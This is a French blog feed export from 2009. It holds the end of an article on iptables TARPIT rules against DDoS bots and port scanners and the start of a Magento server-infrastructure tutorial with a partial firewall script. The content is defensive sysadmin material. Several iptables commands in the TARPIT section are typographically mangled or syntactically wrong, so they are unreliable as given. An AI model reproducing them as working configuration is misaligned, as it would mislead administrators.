<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Ca peut prendre du temps&#8230; pas mal de temps en fait, quand bien même notre machine distante s&#8217;acharnerait en refaisant une connexion, à chaque nouvelle tentative, elle bloquera un peu plus sa propre &laquo;&nbsp;stack tcp&nbsp;&raquo;, son propre système de gestion du réseau&#8230; Ca va prendre un peu de temps mais ca va bien ralentir l&#8217;attaque, d&#8217;autant plus que la plupart des machines ne réessayeront pas puisque la connexion n&#8217;est pas morte, elle est juste &laquo;&nbsp;en pause&nbsp;&raquo;.</span></span></p>
<p style="text-align: justify;"><span style="font-size: x-large;"><span style="font-family: arial,helvetica,sans-serif;"><strong>Comment et à qui appliquer le Tarpit ?</strong></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Simplement en 1° scotchant la connexion attaquante 2° en dropant le paquet pour ne pas nous encombrer inutilement. Histoire de faire simple, on va se créer une règle qui fait ca en une fois.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><em>iptables -N TARPIT_DROP<br />
iptables -A TARPIT_DROP  -j TARPIT<br />
iptables -A TARPIT_DROP  -j DROP</em><em> </em></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Ok mais si on fait un tarpit de tout le trafic entrant avec un iptables -I INPUT -P TARPIT_DROP ou la même chose en FORWARD, on va perdre tout le trafic entrant, y compris les vrais clients du site… C’est peut être un peu désagréable pour les personnes qui n’y sont pour rien.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Afin de trier le bon grain de l’ivraie, il va nous falloir être plus malin que les « bots », les zombies, qui nous attaquent. Il est possible de faire un peu de trie avec des IDS comme Snort par exemple ou sinon d’analyser les logs et les requêtes, ou encore même le rythme des connexions.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Quand on y réfléchit, il est assez simple de reconnaitre un bot car il fait toujours la même chose en général (par exemple un get /blabla.php) et/ou utilise une fréquence précise (par exemple toutes les 5 secondes).</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Si l’on utilise un IDS, c’est lui qui pilotera les règles de firewalling (flex rules) directement quand il détecte un comportement anormal. Si l’on souhaite utiliser un parser de logs, il est très simple de lui donner la « pattern » de l’attaque (par exemple un get /blabla.php toutes les 5 secondes) et d’interdire toutes les machines utilisant cette pattern.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Si c’est une page spécifique qui est visée (blabla.php par exemple) il est aussi possible de détecter dans le contenu du paquet (sauf en https) le mot blabla et d’interdire, en fait de tarpiter les machines l’appelant. Certes, les personnes appelant réellement pour de bonnes raisons la page blabla vont être déçues, mais les autres vont être bloquées aussi. Si ca a lieu sur la homepage, cette méthode n’est pas applicable, mais sinon :</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><em>iptables -I INPUT -p tcp -s 0.0.0.0/0 &#8211;dport 80 -m string &#8211;string &laquo;&nbsp;blabla&nbsp;&raquo;</em><em> </em><em> </em><em>–j TARPIT</em><em> </em><em> </em></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Il nous reste d’autres possibilités, avec les mod geoip par exemple ou encore en tarpitant les connexions entrantes qui sont des réseaux similaires (49.230.xxx.xxx par exemple)</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Il est possible de limiter en fonction du nombre de paquets et du type de paquets reçus par secondes. Iptables en fait est une usine à idées sans limite. Les attaques peuvent prendre plusieurs formes mais la réponse peut aussi être assez polymorphe à sa manière avec Iptables !</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><em>-m limit &#8211;limit 2/second &#8211;dport 80 &#8211;syn -j ACCEPT</em></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Utiliser un mélange subtile des parameters limit et burst-limit peut permettre d’enrayer les flots de paquets réseau trop « soutenu ».</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Mélanger subtilement –string pour identifier le contenu et –limit pour le rythme, &#8211;state pour l’état de la connexion et d’autres tests, cela peut aussi permettre des résultats intéressants en terme de détection :</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><em>iptables -I INPUT -p tcp –dport 80 –m string –string “blabla” –m limit –limit 1/6s –limit-burst 1 –m recent –name DDOSbot –set<br />
iptables –I INPUT FORWARD -p tcp &#8211;dport 80 -m recent &#8211;name badguy &#8211;set -j TARPIT_DROP</em></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><em>iptables –I INPUT -m state –state NEW –m limit –limit 1/6s –limit-burst 1-j TARPIT_DROP</em></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Là par contre, on a beaucoup limité les personnes qui sont tarpitées, en fait à celle faisant une nouvelle connexion plus souvent que toutes les 6 secondes ou si elles appellent la chaine blabla à la même fréquence. Encore une variante ?</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><em>iptables -I INPUT -m state &#8211;state NEW -m recent &#8211;update &#8211;seconds 20 &#8211;hitcount 4 -j DROP</em><em> </em></span></span></p>
<pre style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><em>iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j RETURN</em></span></span></pre>
<pre style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Le parametre “Syn cookie” dans le noyau permet aussi de s’assurer qu’un petit malin ne nous flood pas à coup de SYN uniquement car s’il ne donne pas suite à sa connexion, elle ne sera pas maintenue, c’est un élément de protection indispensable. Et si notre assaillant est très « vieux jeu » et votre réseau très vétuste, qu’il utilise un </span><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><span style="font-family: arial,helvetica,sans-serif;">ping flood, <em>iptables -A INPUT -p icmp -m limit --limit  1/s --limit-burst 1 -j ACCEPT</em>, devrait limiter se velléités. </span>
</span></span></span></pre>
<pre style="text-align: justify;"><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">Si vous vous passez d’un IDS, vous aurez à analyser vous-même l’attaque, sa méthode et sa forme afin de déterminer la méthode la plus adaptée pour y répondre.  </span></span></pre>
<pre style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;"><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">L’analyse est un point vital et Tarpit une réponse fatale. </span></span>
</span></span></pre>
<p style="text-align: justify;"><span style="font-size: x-large;"><span style="font-family: arial,helvetica,sans-serif;"><strong>More fun with Tarpit ?</strong></span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Bon soyons clairs, on peut aller plus loin dans le fun.</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Par exemple une personne qui scanne les machines va utiliser un scanner qui va soit utiliser des séquences TCP connues (SYN scan, Xmas Scan etc..) ou même un enchainement de ports, linéaire (1,2,3 etc…), spécifique croissant (21,22,23,25,80 par exemple) ou aléatoire (443,22,53,80,21 par exemple).</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Dans tous ces cas, on peut utiliser un démon comme knocked par exemple, un démon de port knocking, pour identifier une séquence de scan. Une fois qu’on l’a identifié, le port knocker est censé ouvrir la connexion pour la personne qui a fait la bonne séquence. Faisons l’inverse puisque c’est un pirate, interdisons lui l’accès et au passage tarpitons le un petit coup…</span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Le plus drôle c’est qu’on va maintenir son IP en Tarpit et donc provoquer une connexion bloquée par port scanné et là… assez rapidement… sa machine va sévèrement bloquer du coté réseau <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span></span></p>
<p style="text-align: justify;"><span style="font-size: small;"><span style="font-family: arial,helvetica,sans-serif;">Alors, au final, Tarpit, c’est fun non ? Il existe de nombreuses autres options que vous pourrez trouver dans le kernel ou dans la patch-o-matic, toutes peuvent donner lieu à des mélanges très utiles.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/tarpit-iptables-les-armes-fatales-anti-ddos/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Construire son infrastructure Magento, partie 1/3 : firewall / RProxy / load balancer</title>
		<link>http://www.wikigento.com/optimisation-systeme-reseau/construire-son-infrastructure-magento-partie-13-firewall-rproxy-load-balancer/</link>
		<comments>http://www.wikigento.com/optimisation-systeme-reseau/construire-son-infrastructure-magento-partie-13-firewall-rproxy-load-balancer/#comments</comments>
		<pubDate>Fri, 22 May 2009 12:55:35 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[Optimisation LAMP/Zend/Magento]]></category>
		<category><![CDATA[Optimisation Système & Réseau]]></category>
		<category><![CDATA[admin système & réseau]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[firewall magento]]></category>
		<category><![CDATA[firewall reverse proxy load balancer]]></category>
		<category><![CDATA[load balancer]]></category>
		<category><![CDATA[load balancer magento]]></category>
		<category><![CDATA[memcached magento]]></category>
		<category><![CDATA[reverse proxy]]></category>
		<category><![CDATA[reverse proxy magento]]></category>
		<category><![CDATA[squid magento]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=656</guid>
		<description><![CDATA[Installation et paramétrage d'un Firewall / Reverse Proxy / load balancer pour une infrastructure Magento.]]></description>
			<content:encoded><![CDATA[<h1>Introduction</h1>
<p><BR></p>
<p style="text-align: justify">Cet article est le premier d&#8217;une série de 3 sur la configuration d&#8217;un infrastructure Magento complète, comprenant pour l&#8217;exemple un serveur qui sera Firewall/Reverse proxy/Load Balancer, deux autres qui seront des Serveur Web frontaux et un quatrième qui sera en  charge de la base de données.</p>
<h2>Plan des posts<span style="text-decoration: underline;"> </span></h2>
<p style="text-align: justify">1/3 : Configuration du firewall, du load balancer et du Rproxy<br />
2/3 : Configuration des serveurs Web (APC / Apache / PHP)<br />
3/3 : Configuration de la base de données  (Mysql)<br />
<span style="text-decoration: underline;"><br />
</span></p>
<h2><span style="text-decoration: underline;"> </span>Le setup de l&#8217;infrastructure Magento</h2>
<p style="text-align: justify"><a rel="attachment wp-att-789" href="http://www.wikigento.com/?attachment_id=789"><img class="alignleft size-medium wp-image-789" title="archi de base" src="http://www.wikigento.com/wp-content/uploads/2009/05/schema1-305x500.jpg" alt="archi de base" width="305" height="500" /></a>Internet, routeurs et hop, on tombe sur quoi ?</p>
<p style="text-align: justify">Le Firewall, reverse proxy, load balancer.</p>
<p style="text-align: justify">Le premier élément réellement intelligent et puissant sur  lequel on va pouvoir travailler, le premier serveur quoi. Parfois l&#8217;élément Firewall est séparé et repose sur une appliance en amont mais dans le principe, si vous faites dans le full opensource, vous aimez netfilter et donc le firewall de Linux.</p>
<p style="text-align: justify">C&#8217;est par ailleurs un excellent Firewall, je vais donc l&#8217;intégrer à ce petit tuto et même démarrer par là !</p>
<p style="text-align: justify">Pour cet exemple et le paramétrage des fichiers de configuration, le firewall/RP/LB est en 192.168.1.1, les serveurs Web sont en 192.168.1.2 et .3 et la DB est en 192.168.1.4 et le magasin &laquo;&nbsp;virtuel&nbsp;&raquo; s&#8217;appel www.demostore.fr.</p>
<p style="text-align: justify">Enfin, cote ip publique, j&#8217;ai utilisé 33.44.55.66 comme étant celle de demostore.fr et 88.77.111.222 comme étant celle des admins. Vous trouverez ces paramètres dans les fichiers de configuration du firewall, du reverse proxy et du load balancer, il faudra les modifier pour vos besoins.</p>
<p style="text-align: justify">
<p><BR><br />
<BR></p>
<h2>Points non couverts dans ces 3 articles</h2>
<p style="text-align: justify">Je vais me la jouer un peu à la Ruquier, donc ce soir, on ne recevra pas, euh pardon, dans cette série de 3 articles, on ne verra pas :</p>
<ul>
<li>Comment faire de la redondance mutli datacenter avec BGP et les synchros de sites &amp; de DB</li>
<li>Comment séparer les flux de bases de données en écriture &amp; lecture sur deux DB</li>
<li>Comment faire du Master/Master Master/Slave ou du Cluster en Mysql</li>
<li>Comment isoler le backoffice en terme de performances sur les serveurs frontaux</li>
<li>Comment isoler le backoffice en terme d&#8217;accès aux bases de données</li>
</ul>
<p style="text-align: justify;"><span style="text-decoration: underline;">On ne verra pas tout cela car :</span><br />
D&#8217;une part parce que cela serait très long et très complexe à expliquer et que les compétences nécessaires pour faire le tour du sujet sont très vastes. D&#8217;autre part parce que ca va déjà faire un bon volume à rédiger et donc que ca va prendre du temps. Et enfin parce que ces points sont très critiques sur le terrain commercial et qu&#8217;ils sont actuellement des avantages en faveur de ma société vis à vis de ses concurrents.</p>
<p style="text-align: justify">Vu que la concurrence dans le milieu de l&#8217;infogérance Magento est assez active, ma société <a title="NBS System, infogérance Magento" href="http://www.nbs-system.com/hebergement" target="_blank">NBS System</a> ne peux pas se permettre de révéler ses tous derniers tricks ou ses toutes dernières optimisations pour l&#8217;infogérance ou l&#8217;hébergemnt de Magento, mais ce qui sera décrit dans les 5 articles correspond à ce que nous utilisions fin décembre 2008, donc des configurations tout à fait décentes et efficaces.</p>
<p style="text-align: justify;">
En plus mes collègues bossent en ce moment même avec Zend pour faire un papier très complet sur les performances et l&#8217;optimisation avec ZAS (Zend Application Server), je ne vais donc pas dévoiler de secrets avant la publication officielle au <a title="Bargento 2" href="http://www.bargento.fr" target="_blank">Bargento 2</a>.</p>
<h2>Préambule sur GRSEC/PAX</h2>
<p style="text-align: justify;">
Autre point, c&#8217;est peu décrit dans cet article mais plus dans un autre dont je donne le lien et aussi sur le net : <strong><span style="text-decoration: underline;">GRSEC + PAX c&#8217;est l&#8217;assurance vie de vos serveurs</span></strong>. Ce n&#8217;est pas une option : c&#8217;est un pré-requis. Grsec/Pax impose de recompiler le kernel, tache un peu complexe quand on a pas l&#8217;habitude mais le couple vous protège à 99,999% contre tous les overflow, les off by one et autres cochonneries de ce genre. Que ce soit apache, mysql, php, squid, memcached, apc etc&#8230; tous ces applicatifs peuvent avoir un jour une faille de sécurité. Grsec c&#8217;est l&#8217;assurance que même si ca se produit (et ca se produira), vos serveurs ne seront pas compromis.</p>
<h1>Le Firewall</h1>
<p><BR></p>
<h2>Configuration simple</h2>
<p style="text-align: justify">J&#8217;ai réalisé, il y a (très) longtemps de cela, <a title="Iptables et netfilter" href="http://www.nbs-system.com/dossiers/howto-iptables.html" target="_blank">un petit tutoriel pour prendre Iptables &amp; Netfilter en main</a>. Il est incomplet, très vieux, contient des erreurs ou des abbérations que je n&#8217;ai pas eu le temps de corriger dans les scripts mais les explications et schémas sont corrects. <em>Vous remarquerez au passage ma maîtrise considérable dans la création de page Web, celle-ci à faillit avoir de nombreuses récompenses pour l&#8217;utilisation audacieuse des CSS, mais finalement le jury a préféré un autre site (curieusement).</em></p>
<p><span style="text-decoration: underline;">Ceci étant, ce que l&#8217;on souhaite faire ici est assez simple :<br />
</span>- Interdire tout par défaut (comme tout firewall décent)<br />
- Authoriser spécifiquement les connexions d&#8217;administration depuis  nos IP<br />
- Permettre d&#8217;accéder directement aux serveurs derrière également depuis nos IP</p>
<p style="text-align: justify">Attention, il existe de très nombreux tricks à mettre en place pour avoir le top du top, dans le /proc/sys/net/ipv4, afin d&#8217;ajouter des règles anti DOS,  d&#8217;ajuster la stack IP pour la gestion des connexions demi ouvertes, gérer la réduction des timeouts, et puis aussi par des règles pour loger les attaques, ajouter des systèmes de sondes/IDS etc&#8230;</p>
<p>C&#8217;est un firewall assez basique que je vais exposer ici. Pour de très fortes charges, il faudra également vérifier les capacités de NAT de la machine qui repose sur un système de buckets, lui même calculé en fonction de la RAM de la machine. Il faudra également redonder la machine, etc&#8230; <em>(Mais avant que vous en soyez là, vous pourrez largement vous payer les services de personnes qui voient très bien de quoi je parles)<br />
</em></p>
<p><span style="text-decoration: underline;">Préparation du Kernel :</span></p>
<ol>
<li>On télécharge les patchs de GRSEC <a title="GRSEC patch" href="http://www.grsecurity.net/grsecurity-2.1.12-2.6.27.10-200812271347.patch.gz" target="_blank">ici</a>,<a title="GRadmin" href="gradm-2.1.12-200812271437.tar.gz"> ici</a> (et en option le patch pour iptables <a title="GRSEC patch iptables" href="http://www.grsecurity.net/grsecurity-iptables-1.4.0.patch">ici</a>)</li>
<li>On télécharge le kernel qui va avec la version de grsec <a title="Kernel 2.6.27.10" href="http://www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.27.10.bz2">ici</a></li>
<li>On détar/dézip les archives et on applique les patchs (<strong>bzip2 -d kernel*; tar xvf grsec*;patch -p0 &lt; gr*.patch</strong>)</li>
<li>On ajoute deux ou trois tools qui risque de manquer : <strong>install libncurses-dev ncurses-dev make gcc paxtest gradm2 chpax</strong></li>
<li>On configure le kernel (make menuconfig), voici l&#8217;ultra minimum :<br />
- Pas de support des modules, tout en statique (ca évite l&#8217;insertion de backdoor)<br />
- networking/networking options/netfilter/ip:netfilter configuration/activer la majorité des options<br />
- Security options / Grsec: activez tout sauf dans kernel auditing juste les relocations et forks, dans Pax mettez tout.</li>
</ol>
<p style="text-align: justify">C&#8217;est une config <u>ultra</u> minimaliste. Pour plus d&#8217;info de nombreux sites parle de la compilation du noyau, le <a title="howto iptables" href="http://www.nbs-system.com/dossiers/howto-iptables.html" target="_blank">howto iptables</a> est un peu plus précis aussi mais c&#8217;est trop long à expliquer pour avoir une place ici. Après, de nombreuses petites ou grands optimisations peuvent être effectuées au niveau du noyau, les  résultats, du coté performances, comme du coté sécurité s&#8217;en ressentiront. Disons que si vous avez correctement configuré votre kernel avec pax et grsec, normalement les autres options par défaut sont rarement débiles.</p>
<p><span style="text-decoration: underline;">Pour le firewall à proprement parler, on va faire simple dans un premier temps :</span></p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p656code1'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6561"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
</pre></td><td class="code" id="p656code1"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;"># short, simple, incomplete, not really commented iptables script for Debianed firewalls/rproxy/load balancers by Philippe Humeau (c) 2009 NBS System, lord Rusty forgive me, amen</span>
&nbsp;
<span style="color: #007800;">IPTABLES</span>=<span style="color: #ff0000;">&quot;/sbin/iptables&quot;</span> 
&nbsp;
<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #ff0000;">&quot;$1&quot;</span> <span style="color: #000000; font-weight: bold;">in</span>
start<span style="color: #7a0874; font-weight: bold;">&#41;</span> 
&nbsp;
<span style="color: #007800;">date</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">date</span> +<span style="color: #ff0000;">'%b %d %k:%M:%S'</span><span style="color: #000000; font-weight: bold;">`</span>
<span style="color: #007800;">ADMIN_IP</span>=<span style="color: #ff0000;">&quot;88.77.111.222&quot;</span> <span style="color: #666666; font-style: italic;"># &amp;lt;-------------- Change me !</span>
<span style="color: #007800;">SERVERS_IP</span>=<span style="color: #ff0000;">&quot;192.168.1.0/24&quot;</span>
<span style="color: #007800;">SERVERS_WEB1</span>=<span style="color: #ff0000;">&quot;192.168.1.2&quot;</span>
<span style="color: #007800;">SERVERS_WEB2</span>=<span style="color: #ff0000;">&quot;192.168.1.3&quot;</span>
<span style="color: #007800;">SERVERS_DB</span>=<span style="color: #ff0000;">&quot;192.168.1.4&quot;</span>
<span style="color: #007800;">INET</span>=<span style="color: #ff0000;">&quot;eth0&quot;</span>
<span style="color: #007800;">SERVERS</span>=<span style="color: #ff0000;">&quot;eth1&quot;</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$date</span> -- Starting Firewall --&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>kern.log
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;31mSetting Default Policies to DROP \033[0m &amp;lt;-&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-P</span> INPUT DROP
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-P</span> OUTPUT DROP
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-P</span> FORWARD DROP 
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;33mFlushing all rules &amp;amp; tables \033[0m &amp;lt;-&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-X</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-Z</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span> INPUT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span> OUTPUT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span> FORWARD
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-F</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-Z</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-X</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-N</span> LOG_DROP
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> LOG_DROP <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">6</span><span style="color: #000000; font-weight: bold;">/</span>h <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">1</span> <span style="color: #660033;">-j</span> LOG <span style="color: #660033;">--log-tcp-options</span> <span style="color: #660033;">--log-prefix</span> <span style="color: #ff0000;">'Dropped: '</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> LOG_DROP <span style="color: #660033;">-j</span> DROP
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-N</span> syn-flood
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> syn-flood <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">10</span><span style="color: #000000; font-weight: bold;">/</span>s <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">10</span> <span style="color: #660033;">-j</span> RETURN
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> syn-flood <span style="color: #660033;">-j</span> DROP 
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;34m Set kernel networking tweaks \033[0m &amp;lt;-&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_forward
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_dynaddr
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>conf<span style="color: #000000; font-weight: bold;">/</span>all<span style="color: #000000; font-weight: bold;">/</span>accept_source_route
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_timestamps
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_syncookies
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>conf<span style="color: #000000; font-weight: bold;">/</span>all<span style="color: #000000; font-weight: bold;">/</span>accept_redirects
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">2</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>conf<span style="color: #000000; font-weight: bold;">/</span>all<span style="color: #000000; font-weight: bold;">/</span>rp_filter
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>icmp_ignore_bogus_error_responses
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">16384</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_conntrack_max
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>conf<span style="color: #000000; font-weight: bold;">/</span>all<span style="color: #000000; font-weight: bold;">/</span>log_martians
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">30</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_fin_timeout
